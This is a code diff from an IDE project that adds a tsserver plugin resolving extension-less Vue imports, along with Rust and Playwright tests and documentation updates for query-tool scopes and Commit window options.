let output = std::process::Command::new("git").current_dir(&h.root).args(args).output().unwrap();
|
||||
assert!(output.status.success(), "{}", String::from_utf8_lossy(&output.stderr));
|
||||
};
|
||||
git(&["init"]);
|
||||
git(&["add", "."]);
|
||||
git(&["-c", "user.name=Test", "-c", "[email protected]", "commit", "-m", "Initial"]);
|
||||
std::fs::write(h.root.join("src/a.txt"), "changed\n").unwrap();
|
||||
std::fs::write(h.root.join("lib/c.txt"), "changed\n").unwrap();
|
||||
let status = h.json("git_status", json!({"scope":"lib"})).await;
|
||||
assert_eq!(status["repositories"].as_array().unwrap().len(), 1);
|
||||
assert_eq!(
|
||||
status["repositories"][0]["entries"],
|
||||
json!([{"pathRelativeToRepository":"lib/c.txt","indexStatus":" ","workTreeStatus":"M"}])
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn scope_reaches_an_attached_worktree_the_repository_ignores() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let git = |dir: &Path, args: &[&str]| {
|
||||
let output = std::process::Command::new("git").current_dir(dir).args(args).output().unwrap();
|
||||
assert!(output.status.success(), "{}", String::from_utf8_lossy(&output.stderr));
|
||||
};
|
||||
git(&h.root, &["init"]);
|
||||
git(&h.root, &["add", "."]);
|
||||
git(&h.root, &["-c", "user.name=Test", "-c", "[email protected]", "commit", "-m", "Initial"]);
|
||||
std::fs::write(h.root.join(".git/info/exclude"), "/.wt/\n").unwrap();
|
||||
git(&h.root, &["worktree", "add", "-q", ".wt/feature"]);
|
||||
let worktree = h.root.join(".wt/feature");
|
||||
h.host.trust.decide(&worktree, true, false).unwrap();
|
||||
ide_host::ops::project::attach_workspace(&h.host, "main", &worktree).unwrap();
|
||||
// Hidden folders excluded by name: `.wt` is one, the worktree's own files are not.
|
||||
ide_host::ops::project::set_settings(
|
||||
&h.host,
|
||||
"main",
|
||||
ide_workspace::settings::SettingsScope::Project,
|
||||
"projectStructure.excludeFiles",
|
||||
"\".*\"",
|
||||
)
|
||||
.unwrap();
|
||||
let found = |args: Value| {
|
||||
let h = &h;
|
||||
async move {
|
||||
let v = h.json("search_text", args).await;
|
||||
let mut out: Vec<String> = v["items"]
|
||||
.as_array()
|
||||
.cloned()
|
||||
.unwrap_or_default()
|
||||
.iter()
|
||||
.map(|i| i["filePath"].as_str().unwrap().to_owned())
|
||||
.collect();
|
||||
out.dedup();
|
||||
out
|
||||
}
|
||||
};
|
||||
let everywhere = found(json!({"q":"needle"})).await;
|
||||
assert!(everywhere.contains(&".wt/feature/src/b.txt".to_owned()), "{everywhere:?}");
|
||||
assert_eq!(
|
||||
found(json!({"q":"needle","scope":".wt/feature/src"})).await,
|
||||
[".wt/feature/src/a.txt", ".wt/feature/src/b.txt"]
|
||||
);
|
||||
assert_eq!(found(json!({"q":"needle","paths":[".wt/feature/src/b.txt"]})).await, [".wt/feature/src/b.txt"]);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn reformat_uses_the_formatter_chain_and_preserves_a_dirty_buffer() {
|
||||
|
||||
@@ -109,7 +109,7 @@ pub async fn check_connection(proxy: &ProxySettings, url: &str, cancel: &Cancell
|
||||
}
|
||||
|
||||
/// reqwest errors with their causes ("error sending request: … connection refused").
|
||||
pub(crate) fn describe(e: &reqwest::Error) -> String {
|
||||
pub fn describe(e: &reqwest::Error) -> String {
|
||||
use std::error::Error;
|
||||
let mut msg = e.to_string();
|
||||
let mut source = e.source();
|
||||
|
||||
@@ -1277,6 +1277,40 @@ pub fn configure_server(cfg: &mut LanguageServerConfig, root: &Path, server_root
|
||||
}
|
||||
}
|
||||
|
||||
/// Registers the companion module-resolution plugin for the Vue hybrid mode's tsserver.
|
||||
/// The Vue plugin only resolves imports that name the
|
||||
/// `.vue` file: a directory `index.js` re-exporting a sibling `.vue`
|
||||
/// (`import ChildButton from './ChildButton'`) leaves the component `any`, and with it every
|
||||
/// `@event="method"` handler type in the project's templates (#3728; VS Code patches tsserver
|
||||
/// itself for this). The companion plugin retries only what tsserver and the Vue plugin left
|
||||
/// unresolved, so it is registered after theirs. No-op without it (no Vue language server).
|
||||
pub fn configure_vue_module_resolution(cfg: &mut LanguageServerConfig, data_dir: &Path) -> bool {
|
||||
let Some(vue_at) = cfg.initialization_options.as_ref().and_then(|v| serde_json::to_value(v).ok()).and_then(|v| {
|
||||
v.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.and_then(Value::as_array)
|
||||
.and_then(|plugins| plugins.iter().position(|p| p.get("name").and_then(Value::as_str) == Some(vue::PLUGIN)))
|
||||
}) else {
|
||||
return false;
|
||||
};
|
||||
let Some(plugin) = vue::module_resolution_plugin(data_dir) else {
|
||||
return false;
|
||||
};
|
||||
let mut current =
|
||||
cfg.initialization_options.as_ref().and_then(|v| serde_json::to_value(v).ok()).unwrap_or_else(|| json!({}));
|
||||
let Some(plugins) = current.pointer_mut("/vtsls/tsserver/globalPlugins").and_then(Value::as_array_mut) else {
|
||||
return false;
|
||||
};
|
||||
match plugins.iter().position(|p| p.get("name").and_then(Value::as_str) == Some(vue::MODULE_RESOLUTION_PLUGIN)) {
|
||||
Some(at) => plugins[at] = plugin,
|
||||
None => plugins.insert(vue_at + 1, plugin),
|
||||
}
|
||||
match toml::Value::try_from(current) {
|
||||
Ok(v) => cfg.initialization_options = Some(v),
|
||||
Err(e) => tracing::warn!("{}: cannot apply settings to initialization options: {e}", cfg.name),
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// The servers `language` uses after Settings › Language Servers: the
|
||||
/// definition's ones that aren't disabled, then the ones defined in settings for it.
|
||||
pub fn language_servers(language: &str, defined: &[LanguageServerConfig], s: &Settings) -> Vec<LanguageServerConfig> {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
use crate::apply::{
|
||||
apply_to_run_configs, apply_to_run_configs_in, configure_server, jdtls_jdk, maven_command, maven_options,
|
||||
project_jdk, python_interpreter, ruff_configuration, terminal_activation, tool_install_environment, tsdk,
|
||||
without_derived, without_derived_in,
|
||||
apply_to_run_configs, apply_to_run_configs_in, configure_server, configure_vue_module_resolution, jdtls_jdk,
|
||||
maven_command, maven_options, project_jdk, python_interpreter, ruff_configuration, terminal_activation,
|
||||
tool_install_environment, tsdk, without_derived, without_derived_in,
|
||||
};
|
||||
use crate::python::parse_pip_list;
|
||||
use crate::{bin_dir, exe, venv_of};
|
||||
@@ -2735,3 +2735,50 @@ fn tool_installs_resolve_project_relative_sdks_and_leave_path_fallback_unconfigu
|
||||
s.languages.python.interpreter = real.to_string_lossy().into_owned();
|
||||
assert_eq!(tool_install_environment(root, &s).commands["python"], real);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn vue_module_resolution_plugin_follows_the_vue_plugin() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mut cfg = server("vtsls");
|
||||
crate::apply::merge_init_options(
|
||||
&mut cfg,
|
||||
serde_json::json!({ "vtsls": { "tsserver": { "globalPlugins": [crate::vue::tsserver_plugin(Path::new("/vue"))] } } }),
|
||||
);
|
||||
assert!(configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
let plugins = cfg
|
||||
.initialization_options
|
||||
.as_ref()
|
||||
.map(|v| serde_json::to_value(v).unwrap())
|
||||
.unwrap()
|
||||
.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.clone();
|
||||
assert_eq!(plugins.len(), 2);
|
||||
assert_eq!(plugins[0]["name"], "@vue/typescript-plugin");
|
||||
assert_eq!(plugins[1]["name"], "openidea-vue-module-resolution");
|
||||
let index = tmp.path().join("tsplugins/node_modules/openidea-vue-module-resolution/index.js");
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), include_str!("vue-module-resolution.js"));
|
||||
// Running again replaces its own entry instead of stacking copies.
|
||||
assert!(configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
let plugins = cfg
|
||||
.initialization_options
|
||||
.as_ref()
|
||||
.map(|v| serde_json::to_value(v).unwrap())
|
||||
.unwrap()
|
||||
.pointer("/vtsls/tsserver/globalPlugins")
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.clone();
|
||||
assert_eq!(plugins.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn without_the_vue_plugin_the_module_resolution_plugin_stays_out() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mut cfg = server("vtsls");
|
||||
assert!(!configure_vue_module_resolution(&mut cfg, tmp.path()));
|
||||
assert!(cfg.initialization_options.is_none());
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
"use strict";
|
||||
// Companion tsserver plugin for `@vue/typescript-plugin`: when TypeScript cannot resolve an
|
||||
// extension-less relative import, retry it with the `.vue` extension. The Vue plugin only
|
||||
// resolves specifiers that already name the `.vue` file (through a faked `.d.vue.ts`
|
||||
// declaration), so a directory `index.js` re-exporting a sibling `.vue`
|
||||
// (`import X from './X'`) leaves the component `any`, and with it every `@event="method"`
|
||||
// handler type in the project's templates. This is the host-side equivalent of VS Code's
|
||||
// `patch-tsserver.js`, which adds `.vue` to the extensions tsserver tries.
|
||||
module.exports = ({ typescript }) => ({
|
||||
create(info) {
|
||||
const ts = typescript;
|
||||
const host = info.languageServiceHost;
|
||||
if (!host) {
|
||||
return info.languageService;
|
||||
}
|
||||
const VUE = ".vue";
|
||||
const DECLARATION = ".d.vue.ts";
|
||||
// Specifiers TypeScript never resolves on its own that could still name an SFC:
|
||||
// relative and without a known extension (`./ChildButton`, `./ChildButton/`).
|
||||
const withVueExtension = (moduleName) => {
|
||||
const base = moduleName.replace(/\/+$/, "");
|
||||
if (
|
||||
!ts.isExternalModuleNameRelative(base) ||
|
||||
base.endsWith(VUE) ||
|
||||
/\.[cm]?[jt]sx?$/.test(base) ||
|
||||
/\.json$/.test(base)
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return base + VUE;
|
||||
};
|
||||
const fileExists = (fileName) =>
|
||||
typeof host.fileExists === "function" ? host.fileExists(fileName) : ts.sys.fileExists(fileName);
|
||||
const readFile = (fileName) => {
|
||||
try {
|
||||
return typeof host.readFile === "function" ? host.readFile(fileName) : ts.sys.readFile(fileName);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
};
|
||||
// TypeScript probes `<specifier>.d.vue.ts` for a `.vue` import under
|
||||
// `allowArbitraryExtensions`; answer `true` when the `.vue` itself is on disk.
|
||||
const moduleResolutionHost = {
|
||||
fileExists: (fileName) =>
|
||||
fileName.endsWith(DECLARATION)
|
||||
? fileExists(fileName.slice(0, -DECLARATION.length) + VUE)
|
||||
: fileExists(fileName),
|
||||
readFile,
|
||||
directoryExists: host.directoryExists?.bind(host),
|
||||
realpath: host.realpath?.bind(host),
|
||||
getCurrentDirectory: host.getCurrentDirectory?.bind(host),
|
||||
getDirectories: host.getDirectories?.bind(host),
|
||||
useCaseSensitiveFileNames:
|
||||
typeof host.useCaseSensitiveFileNames === "function"
|
||||
? host.useCaseSensitiveFileNames.bind(host)
|
||||
: host.useCaseSensitiveFileNames,
|
||||
};
|
||||
// The SFC's service script is TypeScript when it says `<script lang="ts">`, else JavaScript.
|
||||
const scriptExtension = (vueFileName) => {
|
||||
const head = readFile(vueFileName)?.slice(0, 4096) ?? "";
|
||||
return /<script\b[^>]*\blang\s*=\s*["']tsx?["']/i.test(head) ? ".ts" : ".js";
|
||||
};
|
||||
const resolveVue = (moduleName, containingFile, options, redirectedReference, resolutionMode) => {
|
||||
const specifier = withVueExtension(moduleName);
|
||||
if (!specifier) {
|
||||
return undefined;
|
||||
}
|
||||
const result = ts.resolveModuleName(
|
||||
specifier,
|
||||
containingFile,
|
||||
{ ...options, allowArbitraryExtensions: true },
|
||||
moduleResolutionHost,
|
||||
undefined,
|
||||
redirectedReference,
|
||||
resolutionMode,
|
||||
);
|
||||
const resolved = result.resolvedModule;
|
||||
if (!resolved || !resolved.resolvedFileName.endsWith(DECLARATION)) {
|
||||
return undefined;
|
||||
}
|
||||
const vueFileName = resolved.resolvedFileName.slice(0, -DECLARATION.length) + VUE;
|
||||
resolved.resolvedFileName = vueFileName;
|
||||
resolved.extension = scriptExtension(vueFileName);
|
||||
return resolved;
|
||||
};
|
||||
// Loaded after `@vue/typescript-plugin`, so its decorated resolvers run first; the
|
||||
// retry only fills what both it and tsserver left unresolved.
|
||||
if (typeof host.resolveModuleNameLiterals === "function") {
|
||||
const resolveModuleNameLiterals = host.resolveModuleNameLiterals.bind(host);
|
||||
host.resolveModuleNameLiterals = (
|
||||
moduleLiterals,
|
||||
containingFile,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
...rest
|
||||
) => {
|
||||
const results = resolveModuleNameLiterals(
|
||||
moduleLiterals,
|
||||
containingFile,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
...rest,
|
||||
);
|
||||
return moduleLiterals.map((literal, i) => {
|
||||
if (results[i]?.resolvedModule) {
|
||||
return results[i];
|
||||
}
|
||||
const mode = ts.getModeForUsageLocation?.(containingSourceFile, literal, options);
|
||||
const resolved = resolveVue(literal.text, containingFile, options, redirectedReference, mode);
|
||||
return resolved ? { resolvedModule: resolved } : results[i];
|
||||
});
|
||||
};
|
||||
}
|
||||
if (typeof host.resolveModuleNames === "function") {
|
||||
const resolveModuleNames = host.resolveModuleNames.bind(host);
|
||||
host.resolveModuleNames = (
|
||||
moduleNames,
|
||||
containingFile,
|
||||
reusedNames,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
) => {
|
||||
const results = resolveModuleNames(
|
||||
moduleNames,
|
||||
containingFile,
|
||||
reusedNames,
|
||||
redirectedReference,
|
||||
options,
|
||||
containingSourceFile,
|
||||
);
|
||||
const mode = containingSourceFile?.impliedNodeFormat;
|
||||
return moduleNames.map(
|
||||
(moduleName, i) => results[i] ?? resolveVue(moduleName, containingFile, options, redirectedReference, mode),
|
||||
);
|
||||
};
|
||||
}
|
||||
return info.languageService;
|
||||
},
|
||||
});
|
||||
@@ -11,7 +11,11 @@ use std::time::Duration;
|
||||
|
||||
pub(crate) const SERVER: &str = "vue-language-server";
|
||||
const PACKAGE: &str = "@vue/language-server";
|
||||
const PLUGIN: &str = "@vue/typescript-plugin";
|
||||
pub(crate) const PLUGIN: &str = "@vue/typescript-plugin";
|
||||
/// The companion plugin's package name under the IDE's data dir.
|
||||
pub(crate) const MODULE_RESOLUTION_PLUGIN: &str = "openidea-vue-module-resolution";
|
||||
/// The TS plugin shipped as an asset: retries extension-less relative imports with `.vue`.
|
||||
const MODULE_RESOLUTION_JS: &str = include_str!("vue-module-resolution.js");
|
||||
/// The file extension the plugin adds to tsserver.
|
||||
pub(crate) const EXTENSION: &str = "vue";
|
||||
const CLI_SERVICE: &str = "@vue/cli-service";
|
||||
@@ -49,6 +53,25 @@ pub(crate) fn tsserver_plugin(package: &Path) -> serde_json::Value {
|
||||
})
|
||||
}
|
||||
|
||||
/// The companion module-resolution plugin (`vue-module-resolution.js`) written under
|
||||
/// `<data_dir>/tsplugins`, as one more tsserver global plugin. `location` is the directory
|
||||
/// holding its `node_modules`, the layout a plugin probe path resolves. Idempotent: the file
|
||||
/// is only rewritten when its content changed. `None` when the data dir cannot be written.
|
||||
pub(crate) fn module_resolution_plugin(data_dir: &Path) -> Option<serde_json::Value> {
|
||||
let root = data_dir.join("tsplugins");
|
||||
let dir = root.join("node_modules").join(MODULE_RESOLUTION_PLUGIN);
|
||||
if std::fs::read(dir.join("index.js")).ok().as_deref() != Some(MODULE_RESOLUTION_JS.as_bytes()) {
|
||||
std::fs::create_dir_all(&dir).ok()?;
|
||||
std::fs::write(dir.join("index.js"), MODULE_RESOLUTION_JS).ok()?;
|
||||
}
|
||||
Some(serde_json::json!({
|
||||
"name": MODULE_RESOLUTION_PLUGIN,
|
||||
"location": root.to_string_lossy(),
|
||||
"languages": ["vue"],
|
||||
"enableForWorkspaceTypeScriptVersions": true,
|
||||
}))
|
||||
}
|
||||
|
||||
/// `compilerOptions.paths` for the webpack aliases of a Vue project at `root` (`@/*` →
|
||||
/// `<root>/src/*`), for its tsserver project when it has no `jsconfig.json`: tsserver can't
|
||||
/// read webpack configurations, so `@/` imports resolve to nothing, and a mixin imported
|
||||
@@ -280,4 +303,41 @@ module.exports = { resolve: { alias: {
|
||||
touch(&tmp.path().join("node_modules/typescript/lib/typescript.js"));
|
||||
assert_eq!(own_typescript(&pkg), Some(tmp.path().join("node_modules/typescript/lib")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_module_resolution_plugin_is_written_where_a_probe_path_finds_it() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let t = tmp.path();
|
||||
let plugin = module_resolution_plugin(t).unwrap();
|
||||
assert_eq!(plugin["name"], MODULE_RESOLUTION_PLUGIN);
|
||||
assert_eq!(plugin["location"], t.join("tsplugins").to_string_lossy().as_ref());
|
||||
assert_eq!(plugin["enableForWorkspaceTypeScriptVersions"], true);
|
||||
let index = t.join("tsplugins/node_modules").join(MODULE_RESOLUTION_PLUGIN).join("index.js");
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), MODULE_RESOLUTION_JS);
|
||||
// A stale file from an older release is replaced.
|
||||
std::fs::write(&index, "outdated").unwrap();
|
||||
module_resolution_plugin(t).unwrap();
|
||||
assert_eq!(std::fs::read_to_string(&index).unwrap(), MODULE_RESOLUTION_JS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_module_resolution_plugin_loads_as_a_tsserver_plugin() {
|
||||
let Some(node) = crate::exec::which("node") else { return };
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
module_resolution_plugin(tmp.path()).unwrap();
|
||||
let index = tmp.path().join("tsplugins/node_modules").join(MODULE_RESOLUTION_PLUGIN).join("index.js");
|
||||
// tsserver requires the package and calls the factory with `{ typescript }`.
|
||||
let out = crate::exec::query_in(
|
||||
&node,
|
||||
&[
|
||||
"-e",
|
||||
"const p = require(process.argv[1]); if (typeof p !== 'function') process.exit(1); process.stdout.write('factory');",
|
||||
&index.to_string_lossy(),
|
||||
],
|
||||
None,
|
||||
&[],
|
||||
std::time::Duration::from_secs(30),
|
||||
);
|
||||
assert_eq!(out.as_deref(), Some("factory"));
|
||||
}
|
||||
}
|
||||
@@ -100,6 +100,7 @@ Notes on what they do:
|
||||
|
||||
- `read_file` also reads sources of dependencies and files inside jar and zip archives.
|
||||
- The tools that list things return one page: `limit` items (100 by default; 50 for `search_symbol`, 10 for `list_runs`), from `offset`. `total` (where counting is cheap), `more` and `nextOffset` say what follows. `list_runs` filters by `state` (`running`, `idle`, `error` or one state), `get_run_configurations` by `query`, and `get_project_problems` lists errors only unless `errorsOnly` is false.
|
||||
- The query tools (the searches, `find_references`, `get_project_problems`, `git_status`, `get_all_open_file_paths`, `get_run_configurations`, `list_runs`) take `scope`: a directory, relative to the project root or absolute, that limits their results to the files in it, such as an attached project or one module.
|
||||
- `search_symbol` and `find_references` use the IDE's index and the language servers; `get_symbol_info` returns what Quick Documentation shows.
|
||||
- `get_file_problems` and `get_project_problems` return what the Problems tool window shows, after your inspection profile is applied, rather than a fresh analysis.
|
||||
- `check_files` is the fresh analysis, for after an edit made by any tool: it syncs each file from disk, tells its language servers it was saved (so on-save checks such as `cargo check` run) and waits until they answered and finished. Each file gets a `status` that says whether the problems are complete, or why it could not be checked: no language server for it, or one that is not installed, misconfigured or crashed.
|
||||
|
||||
@@ -49,6 +49,8 @@ OpenIDEA finds the repository that contains the project and nested repositories
|
||||
|
||||
The **Commit** tool window lists your changes in groups: **Merge Conflicts**, **Changes** (one group per changelist) and **Unversioned Files**. With **View Options › Group By › Staging State**, the changes split into **Staged Changes** and **Unstaged Changes**.
|
||||
|
||||
Turn off **View Options › Show Unversioned Files Separately** to list untracked files under **Changes** (the active changelist), or **Unstaged Changes** when grouping by staging state. This only changes the display; the files remain untracked and excluded from commits by default. The option is on by default and is remembered independently of **Staging State**.
|
||||
|
||||
<Steps>
|
||||
<Step title="Choose what to commit">
|
||||
Check the files to include. Unversioned files and conflicts are not included by default, and only the active
|
||||
|
||||
@@ -100,6 +100,7 @@ stdio 配置大致如下(路径以你机器上的为准):
|
||||
- `read_file` 还能读取依赖的源代码,以及 jar 和 zip 压缩包中的文件。
|
||||
- `search_symbol` 和 `find_references` 使用 IDE 的索引和语言服务器;`get_symbol_info` 返回的内容与快速文档相同。
|
||||
- 列表类工具每次返回一页:从 `offset` 开始的 `limit` 项(默认 100;`search_symbol` 为 50,`list_runs` 为 10)。`total`(计数代价低的工具才有)、`more` 和 `nextOffset` 说明后面还有多少。`list_runs` 可按 `state` 过滤(`running`、`idle`、`error` 或某个具体状态),`get_run_configurations` 可按 `query` 过滤,`get_project_problems` 默认只列错误,`errorsOnly` 传 false 时也列警告。
|
||||
- 查询类工具(各搜索工具、`find_references`、`get_project_problems`、`git_status`、`get_all_open_file_paths`、`get_run_configurations`、`list_runs`)接受 `scope`:一个目录(相对项目根目录或绝对路径),只返回其中文件的结果,比如某个附加项目或某个模块。
|
||||
- `get_file_problems` 和 `get_project_problems` 返回的是问题工具窗口当前显示的内容(已应用你的检查配置文件),而不是重新分析的结果。
|
||||
- `check_files` 才是重新分析,适合在任何工具修改文件之后调用:它从磁盘同步每个文件,通知语言服务器文件已保存(这样 `cargo check` 等保存时检查也会运行),并等到服务器答复且分析完成。每个文件都有一个 `status`,说明问题列表是否完整,或者为什么无法检查:没有对应的语言服务器,或者服务器未安装、配置错误、已崩溃。
|
||||
- `rename_refactoring` 通过语言服务器重命名,文本搜索找不到的引用也会一并更新;也可以只预览不写入。
|
||||
|
||||
@@ -219,8 +219,11 @@ function history(page: Page) {
|
||||
function modelButton(page: Page) {
|
||||
return page.getByRole("button", { name: "Model", exact: true }).filter({ visible: true });
|
||||
}
|
||||
function effortButton(page: Page) {
|
||||
return page.getByRole("button", { name: "Reasoning", exact: true }).filter({ visible: true });
|
||||
}
|
||||
async function expectEffort(page: Page, name: string) {
|
||||
await expect(modelButton(page)).toHaveAttribute("title", new RegExp(`Reasoning: ${name}(?: ·|$)`));
|
||||
await expect(effortButton(page)).toHaveText(name);
|
||||
}
|
||||
async function selected(box: Locator) {
|
||||
return box.evaluate((element) => {
|
||||
@@ -255,7 +258,7 @@ async function selectDraft(page: Page) {
|
||||
}
|
||||
async function chooseModel(page: Page, name: string) {
|
||||
await modelButton(page).click();
|
||||
// A model row also holds its Configure button, whose label joins the option's name.
|
||||
// A model row also holds its Pin button, whose label joins the option's name.
|
||||
await page.getByRole("option", { name: new RegExp(`^${name}\\b`) }).click();
|
||||
await page.keyboard.press("Escape");
|
||||
await box(page).focus();
|
||||
@@ -292,7 +295,7 @@ for (const placement of ["editor", "toolWindow"] as const) {
|
||||
option: effortId,
|
||||
value,
|
||||
});
|
||||
await expect(page.getByRole("dialog", { name: "Model & effort settings", exact: true })).toHaveCount(0);
|
||||
await expect(page.getByRole("listbox", { name: "Reasoning", exact: true })).toHaveCount(0);
|
||||
}
|
||||
await expectNoSubmission(page);
|
||||
await stream.click({ position: { x: 12, y: 20 } });
|
||||
@@ -350,7 +353,7 @@ test("subagent conversation never changes its hidden parent's effort", async ({
|
||||
await expectEffort(page, "Gentle");
|
||||
});
|
||||
|
||||
test("Settings and model popup exclude the agent shortcut", async ({ workbench: page }) => {
|
||||
test("Settings and effort popup exclude the agent shortcut", async ({ workbench: page }) => {
|
||||
await seed(page, "editor");
|
||||
await box(page).fill(draft);
|
||||
await page.keyboard.press("Meta+,");
|
||||
@@ -361,14 +364,10 @@ test("Settings and model popup exclude the agent shortcut", async ({ workbench:
|
||||
await expect(search).toBeFocused();
|
||||
await expect(search).toHaveValue("keymap");
|
||||
await settings.getByRole("button", { name: "Cancel", exact: true }).click();
|
||||
await modelButton(page).click();
|
||||
const popup = page.getByRole("dialog", { name: "Model & effort settings", exact: true });
|
||||
await effortButton(page).click();
|
||||
const popup = page.getByRole("listbox", { name: "Reasoning", exact: true });
|
||||
await expect(popup).toBeVisible();
|
||||
await popup.getByRole("button", { name: "Configure model", exact: true }).click();
|
||||
const gentle = popup.getByRole("radio", { name: "Gentle", exact: true });
|
||||
await gentle.focus();
|
||||
await page.keyboard.press("Alt+t");
|
||||
await expect(gentle).toHaveAttribute("aria-checked", "true");
|
||||
expect(await ipcCalls(page, "agent_set_config")).toEqual([]);
|
||||
await page.keyboard.press("Escape");
|
||||
await expectEffort(page, "Gentle");
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import type { Page } from "@playwright/test";
|
||||
import { expect, test } from "./fixtures";
|
||||
|
||||
test.beforeEach(async ({ workbench: page }) => {
|
||||
@@ -52,7 +53,7 @@ test.beforeEach(async ({ workbench: page }) => {
|
||||
});
|
||||
await page.getByRole("button", { name: "Agents", exact: true }).click();
|
||||
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
|
||||
await expect(page.getByText("omp · 18.20.0 · ACP v1", { exact: true })).toBeVisible();
|
||||
await expectVersion(page, "18.20.0");
|
||||
});
|
||||
|
||||
test("refreshes an upgraded agent's version on window focus without losing the draft", async ({ workbench: page }) => {
|
||||
@@ -63,7 +64,7 @@ test("refreshes an upgraded agent's version on window focus without losing the d
|
||||
window.dispatchEvent(new Event("test:agent-upgraded"));
|
||||
window.dispatchEvent(new Event("focus"));
|
||||
});
|
||||
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
|
||||
await expectVersion(page, "18.20.2");
|
||||
await expect(message).toHaveText("Keep this unsent draft");
|
||||
});
|
||||
|
||||
@@ -71,5 +72,10 @@ test("refreshes an upgraded agent's version when New Task is reopened", async ({
|
||||
await page.getByRole("button", { name: "Close Tab", exact: true }).click();
|
||||
await page.evaluate(() => window.dispatchEvent(new Event("test:agent-upgraded")));
|
||||
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
|
||||
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
|
||||
await expectVersion(page, "18.20.2");
|
||||
});
|
||||
|
||||
/** The agent picker shows its icon; its name and version are in its tooltip. */
|
||||
async function expectVersion(page: Page, version: string) {
|
||||
await expect(page.locator(`[data-tooltip$=" ${version}"]`).filter({ visible: true })).toHaveCount(1);
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
import { expect, ipcCalls, stubDesktop, test } from "./fixtures";
|
||||
|
||||
const ROOT = "/dev/acme-api";
|
||||
const FILE = `${ROOT}/src/new-name.ts`;
|
||||
const REVISION = "a".repeat(40);
|
||||
|
||||
test("File History opens its revision and compares only that file with the working copy", async ({
|
||||
workbench: page,
|
||||
}) => {
|
||||
await stubDesktop(page);
|
||||
await page.evaluate(
|
||||
async ({ root, path, revision }) => {
|
||||
const h = window.__ipc.handlers;
|
||||
h.vcs_roots = () => [{ root, head: "main", headCommit: revision, operation: null }];
|
||||
h.vcs_branch_info = () => ({
|
||||
head: "main",
|
||||
headCommit: revision,
|
||||
upstream: null,
|
||||
ahead: 0,
|
||||
behind: 0,
|
||||
operation: null,
|
||||
});
|
||||
h.vcs_branches = () => [];
|
||||
h.vcs_status = () => [];
|
||||
h.vcs_log = ({ query }) =>
|
||||
(query as { path?: string }).path
|
||||
? [
|
||||
{
|
||||
id: revision,
|
||||
shortId: revision.slice(0, 8),
|
||||
parents: ["b".repeat(40)],
|
||||
refs: [],
|
||||
author: "Author",
|
||||
email: "[email protected]",
|
||||
timeMs: 1,
|
||||
summary: "Rename historical file",
|
||||
message: "Rename historical file",
|
||||
historyPath: "src/old-name.ts",
|
||||
},
|
||||
]
|
||||
: [];
|
||||
h.vcs_log_refs = () => ({});
|
||||
h.vcs_log_users = () => ["Author <[email protected]>"];
|
||||
h.vcs_log_details_batch = () => [];
|
||||
h.vcs_commit_files = () => [];
|
||||
h.vcs_file_at = ({ path: filePath }) => `historical contents of ${String(filePath)}\n`;
|
||||
h.fs_probe = () => ({ size: 32, binary: false, tooLarge: false });
|
||||
|
||||
const storeModule = "/src/features/vcs/store.ts";
|
||||
const { useVcs } = await import(/* @vite-ignore */ storeModule);
|
||||
useVcs.setState({
|
||||
available: true,
|
||||
root,
|
||||
repo: root,
|
||||
roots: [root],
|
||||
branchesLoaded: true,
|
||||
statusLoaded: true,
|
||||
});
|
||||
const contextModule = "/src/platform/context.ts";
|
||||
const { setContext } = await import(/* @vite-ignore */ contextModule);
|
||||
setContext("vcsAvailable", true);
|
||||
const actionsModule = "/src/platform/actions.ts";
|
||||
const { executeAction } = await import(/* @vite-ignore */ actionsModule);
|
||||
await executeAction("vcs.showHistory", { path });
|
||||
},
|
||||
{ root: ROOT, path: FILE, revision: REVISION },
|
||||
);
|
||||
|
||||
const commits = page.getByRole("listbox", { name: "Commits" });
|
||||
const row = commits.getByRole("option", { name: /Rename historical file/ });
|
||||
await expect(row).toBeVisible();
|
||||
|
||||
await row.click({ button: "right" });
|
||||
const menu = page.getByRole("menu", { name: "Context menu" });
|
||||
await expect(menu.getByRole("menuitem", { name: "Show File at Revision" })).toBeVisible();
|
||||
await menu.getByRole("menuitem", { name: "Compare with Local" }).click();
|
||||
|
||||
await expect
|
||||
.poll(async () => ipcCalls(page, "vcs_file_at"))
|
||||
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
|
||||
// The working copy side is the file itself (an editable document), not the historical path.
|
||||
await expect.poll(async () => ipcCalls(page, "vcs_file_mode")).toContainEqual({ path: FILE, rev: "WT" });
|
||||
await expect(page.getByText(`historical contents of ${ROOT}/src/old-name.ts`).first()).toBeVisible();
